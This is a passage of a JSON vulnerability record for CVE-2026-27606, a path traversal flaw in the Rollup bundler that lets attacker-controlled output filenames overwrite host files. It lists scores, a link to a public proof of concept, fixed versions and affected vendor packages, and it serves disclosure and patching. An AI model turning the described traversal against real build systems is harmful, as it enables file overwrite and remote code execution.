{"id":"CVE-2026-27606","aliases":["CLSA-2026-1773879455","CLSA-2026-1774225184","CLSA-2026-1775176078","CLSA-2026-1775521840","CLSA-2026-1775521842","CLSA-2026-1775781165","CLSA-2026-1775781168","CLSA-2026-1775781172","CLSA-2026-1775781179","CLSA-2026-1777423178","CLSA-2026-1784596332","CLSA-2026-1792160912","CLSA-2026-1792161062","CLSA-2026-1792161063","CLSA-2026-1792161064","CLSA-2026-1792161065","CLSA-2026-1792161066","CLSA-2026-1792161067","CLSA-2026-1792161068","CLSA-2026-1792161072","CLSA-2026-1792161073","CLSA-2026-1792161074","CLSA-2026-1792161075","CLSA-2026-1792161076","CLSA-2026-1792161077","CLSA-2026-1792161079","CLSA-2026-1793009952","CLSA-2026-1793207004","DEBIAN-CVE-2026-27606","EUVD-2026-8589","GHSA-mw96-cpmx-2vgc","RHSA-2026:13508","RHSA-2026:13512","ROOT-APP-NPM-CVE-2026-27606","SUSE-SU-2026:1013-1","SUSE-SU-2026:1148-1","SUSE-SU-2026:1524-1","SUSE-SU-2026:2243-1","SUSE-SU-2026:2265-1","SUSE-SU-2026:2363-1","UBUNTU-CVE-2026-27606","openSUSE-SU-2026:10263-1","openSUSE-SU-2026:11126-1"],"status":"published","title":"Rollup 4 has Arbitrary File Write via Path Traversal","description":"Rollup is a module bundler for JavaScript. Versions prior to 2.80.0, 3.30.0, and 4.59.0 of the Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (`../`) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files. Versions 2.80.0, 3.30.0, and 4.59.0 contain a patch for the issue.","severity":{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.01651,"percentile":0.76846,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-22"],"published":"2026-02-25T02:08:06Z","modified":"2026-10-28T19:45:12Z","exploits":[{"source":"pocgithub","id":"AaaronP/Seguridad---Proyecto-de-investigaci-n","title":"AaaronP/Seguridad---Proyecto-de-investigaci-n","date":"2026-10-11","url":"https://github.com/AaaronP/Seguridad---Proyecto-de-investigaci-n"}],"fixes":[{"ecosystem":"npm","package":"rollup","fixed_in":["2.80.0","3.30.0","4.59.0"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"rollup","fixed_in":["2.79.2-tuxcare.4","2.38.4-tuxcare.5","4.22.4-tuxcare.1","0.59.4-tuxcare.1"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"@rollup/rollup-android-arm64","fixed_in":["4.22.4-tuxcare.1"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"@rollup/rollup-android-arm-eabi","fixed_in":["4.22.4-tuxcare.1"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"@rollup/rollup-darwin-arm64","fixed_in":["4.22.4-tuxcare.1"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"@rollup/rollup-darwin-x64","fixed_in":["4.22.4-tuxcare.1"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"@rollup/rollup-linux-arm-gnueabihf","fixed_in":["4.22.4-tuxcare.1"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"@rollup/rollup-linux-arm-musleabihf","fixed_in":["4.22.4-tuxcare.1"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"@rollup/rollup-linux-arm64-gnu","fixed_in":["4.22.4-tuxcare.1"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"@rollup/rollup-linux-arm64-musl","fixed_in":["4.22.4-tuxcare.1"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"@rollup/rollup-linux-riscv64-gnu","fixed_in":["4.22.4-tuxcare.1"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"@rollup/rollup-linux-s390x-gnu","fixed_in":["4.22.4-tuxcare.1"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"@rollup/rollup-linux-x64-gnu","fixed_in":["4.22.4-tuxcare.1"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"@rollup/rollup-linux-x64-musl","fixed_in":["4.22.4-tuxcare.1"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"@rollup/rollup-win32-arm64-msvc","fixed_in":["4.22.4-tuxcare.1"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"@rollup/rollup-win32-ia32-msvc","fixed_in":["4.22.4-tuxcare.1"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"@rollup/rollup-win32-x64-msvc","fixed_in":["4.22.4-tuxcare.1"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"@rollup/rollup-linux-powerpc64le-gnu","fixed_in":["4.22.4-tuxcare.1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"node-rollup","fixed_in":["3.30.0-1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"rollup","fixed_in":["4.53.3-aikido.3","4.50.0-aikido.2","4.55.1-aikido.2","4.39.0-aikido.2","2.79.1-aikido.1","2.67.3-aikido.1","4.40.1-aikido.1","1.32.1-aikido.1","3.29.4-aikido.1","3.29.5-aikido.1","4.37.0-aikido.1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/rollup","fixed_in":["4.50.0-root.io.1","4.39.0-root.io.1","4.53.3-root.io.1","4.53.3-root.io.2","4.55.1-root.io.1","2.79.2-root.io.1","4.53.3-root.io.3","4.50.0-root.io.2","4.55.1-root.io.2","4.39.0-root.io.2","2.79.1-root.io.1","2.67.3-root.io.1","4.40.1-root.io.1","1.32.1-root.io.1","3.29.4-root.io.1","3.29.5-root.io.1","4.37.0-root.io.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"heroic-games-launcher","fixed_in":["2.20.0-2.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"rollup","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.80.0"}]}]},{"source":"ghsa","ecosystem":"npm","package":"rollup","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"fixed":"3.30.0"}]}]},{"source":"ghsa","ecosystem":"npm","package":"rollup","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"4.59.0"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"rollup","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.41.6-tuxcare.0"},{"fixed":"0.41.6-tuxcare.1"}]}],"versions":["0.41.6"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"rollup","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.57.1-tuxcare.0"},{"fixed":"0.57.1-tuxcare.1"}]}],"versions":["0.57.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"rollup","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.79.2-tuxcare.0"},{"fixed":"2.79.2-tuxcare.4"}]}],"versions":["2.79.2","2.79.2-tuxcare.1","2.79.2-tuxcare.2","2.79.2-tuxcare.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"rollup","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.38.4-tuxcare.0"},{"fixed":"2.38.4-tuxcare.5"}]}],"versions":["2.38.4","2.38.4-tuxcare.1","2.38.4-tuxcare.2","2.38.4-tuxcare.3","2.38.4-tuxcare.4"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"rollup","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.22.4-tuxcare.0"},{"fixed":"4.22.4-tuxcare.1"}]}],"versions":["4.22.4"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"rollup","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.36.3-tuxcare.0"},{"fixed":"0.36.3-tuxcare.1"}]}],"versions":["0.36.3"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"rollup","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.63.5-tuxcare.0"},{"fixed":"0.63.5-tuxcare.1"}]}],"versions":["0.63.5"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"rollup","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.15.0-tuxcare.0"},{"fixed":"3.15.0-tuxcare.1"}]}],"versions":["3.15.0"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"rollup","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.56.4-tuxcare.0"},{"fixed":"0.56.4-tuxcare.1"}]}],"versions":["0.56.4"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"rollup","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.77.3-tuxcare.0"},{"fixed":"2.77.3-tuxcare.1"}]}],"versions":["2.77.3"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"rollup","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.59.4-tuxcare.0"},{"fixed":"0.59.4-tuxcare.1"}]}],"versions":["0.59.4"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@rollup/rollup-android-arm64","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.22.4-tuxcare.0"},{"fixed":"4.22.4-tuxcare.1"}]}],"versions":["4.22.4"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@rollup/rollup-android-arm-eabi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.22.4-tuxcare.0"},{"fixed":"4.22.4-tuxcare.1"}]}],"versions":["4.22.4"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@rollup/rollup-darwin-arm64","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.22.4-tuxcare.0"},{"fixed":"4.22.4-tuxcare.1"}]}],"versions":["4.22.4"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@rollup/rollup-darwin-x64","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.22.4-tuxcare.0"},{"fixed":"4.22.4-tuxcare.1"}]}],"versions":["4.22.4"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@rollup/rollup-linux-arm-gnueabihf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.22.4-tuxcare.0"},{"fixed":"4.22.4-tuxcare.1"}]}],"versions":["4.22.4"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@rollup/rollup-linux-arm-musleabihf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.22.4-tuxcare.0"},{"fixed":"4.22.4-tuxcare.1"}]}],"versions":["4.22.4"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@rollup/rollup-linux-arm64-gnu","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.22.4-tuxcare.0"},{"fixed":"4.22.4-tuxcare.1"}]}],"versions":["4.22.4"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@rollup/rollup-linux-arm64-musl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.22.4-tuxcare.0"},{"fixed":"4.22.4-tuxcare.1"}]}],"versions":["4.22.4"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@rollup/rollup-linux-riscv64-gnu","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.22.4-tuxcare.0"},{"fixed":"4.22.4-tuxcare.1"}]}],"versions":["4.22.4"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@rollup/rollup-linux-s390x-gnu","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.22.4-tuxcare.0"},{"fixed":"4.22.4-tuxcare.1"}]}],"versions":["4.22.4"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@rollup/rollup-linux-x64-gnu","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.22.4-tuxcare.0"},{"fixed":"4.22.4-tuxcare.1"}]}],"versions":["4.22.4"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@rollup/rollup-linux-x64-musl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.22.4-tuxcare.0"},{"fixed":"4.22.4-tuxcare.1"}]}],"versions":["4.22.4"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@rollup/rollup-win32-arm64-msvc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.22.4-tuxcare.0"},{"fixed":"4.22.4-tuxcare.1"}]}],"versions":["4.22.4"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@rollup/rollup-win32-ia32-msvc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.22.4-tuxcare.0"},{"fixed":"4.22.4-tuxcare.1"}]}],"versions":["4.22.4"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@rollup/rollup-win32-x64-msvc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.22.4-tuxcare.0"},{"fixed":"4.22.4-tuxcare.1"}]}],"versions":["4.22.4"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@rollup/rollup-linux-powerpc64le-gnu","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.22.4-tuxcare.0"},{"fixed":"4.22.4-tuxcare.1"}]}],"versions":["4.22.4"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"rollup","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.32.1-tuxcare.0"},{"fixed":"1.32.1-tuxcare.1"}]}],"versions":["1.32.1"],"bundled":2},{"source":"osv","ecosystem":"Debian:12","package":"node-rollup","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.15.0-1","3.15.0-1+deb12u1","3.15.0-2","3.28.0-1","3.28.0-2","3.29.4-1","3.29.4-2","3.29.4-3","3.29.5-1","3.29.5-2","3.29.5-3","3.30.0-1","3.30.0-2","3.30.0-3","3.30.0-4","3.30.0-5","3.30.0-6"]},{"source":"osv","ecosystem":"Debian:13","package":"node-rollup","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.29.5-1","3.29.5-2","3.29.5-3","3.30.0-1","3.30.0-2","3.30.0-3","3.30.0-4","3.30.0-5","3.30.0-6"]},{"source":"osv","ecosystem":"Debian:14","package":"node-rollup","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.30.0-1"}]}],"versions":["3.29.5-1","3.29.5-2","3.29.5-3"]},{"source":"osv","ecosystem":"npm","package":"rollup","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.80.0"}]}]},{"source":"osv","ecosystem":"npm","package":"rollup","ranges":[{"type":"SEMVER","events":[{"introduced":"3.0.0"},{"fixed":"3.30.0"}]}]},{"source":"osv","ecosystem":"npm","package":"rollup","ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0"},{"fixed":"4.59.0"}]}]},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.6::el9","package":"automation-controller","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.7.11-2.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.6::el9","package":"automation-controller-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.7.11-2.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"automation-controller","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.7.11-2.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"automation-controller-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.7.11-2.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"automation-controller-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.7.11-2.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"automation-controller-ui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.7.11-2.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"automation-controller-venv-tower","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.7.11-2.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"python3.12-markdown","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.10.2-1.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"automation-gateway-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.20260422-1.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"python3.12-django-ansible-base+activitystream","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.20260422-1.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"python3.12-django-ansible-base+api_documentation","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.20260422-1.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"python3.12-django-ansible-base+authentication","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.20260422-1.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"python3.12-django-ansible-base+channel_auth","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.20260422-1.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"python3.12-django-ansible-base+feature_flags","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.20260422-1.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"python3.12-django-ansible-base+jwt_consumer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.20260422-1.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"python3.12-django-ansible-base+oauth2_provider","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.20260422-1.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"python3.12-django-ansible-base+rbac","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.20260422-1.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"python3.12-django-ansible-base+redis_client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.20260422-1.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"python3.12-django-ansible-base+resource_registry","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.20260422-1.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"python3.12-django-ansible-base+rest_filters","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.20260422-1.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"python3.12-django-ansible-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.20260422-1.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"python3.12-pyasn1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.6.3-1.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el10","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.4-3.el10ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el10","package":"receptor-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.4-3.el10ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el10","package":"receptor-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.4-3.el10ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el10","package":"receptorctl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.4-3.el10ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.6::el9","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.4-2.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.6::el9","package":"receptorctl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.4-2.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.6::el9","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.4-2.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.6::el9","package":"receptorctl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.4-2.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"automation-gateway-proxy-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.14-2.el9"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"automation-gateway-proxy-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.14-2.el9"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"automation-gateway-proxy-server-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.14-2.el9"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.4-2.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"receptor-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.4-2.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"receptor-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.4-2.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"receptorctl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.4-2.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"automation-platform-ui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.8-1.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"python3.12-pyOpenSSL","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:26.0.0-1.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"python3.12-pyjwt+crypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.12.1-1.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"python3.12-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.12.1-1.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"python3.12-jwcrypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.7-1.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-markdown","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.10.2-1.el8ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-markdown","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.10.2-1.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-gateway-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260422-2.el8ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-gateway-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260422-2.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-controller-venv-tower","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.28-3.el8ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-django-ansible-base+activitystream","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260422-2.el8ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-django-ansible-base+api_documentation","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260422-2.el8ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-django-ansible-base+authentication","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260422-2.el8ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-django-ansible-base+channel_auth","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260422-2.el8ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-django-ansible-base+feature_flags","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260422-2.el8ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-django-ansible-base+jwt_consumer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260422-2.el8ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-django-ansible-base+oauth2_provider","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260422-2.el8ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-django-ansible-base+rbac","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260422-2.el8ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-django-ansible-base+redis_client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260422-2.el8ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-django-ansible-base+rest_filters","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260422-2.el8ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-django-ansible-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260422-2.el8ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-controller-venv-tower","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.28-3.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-django-ansible-base+activitystream","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260422-2.el9ap"}]}],"bundled":12},{"source":"osv","ecosystem":"Red 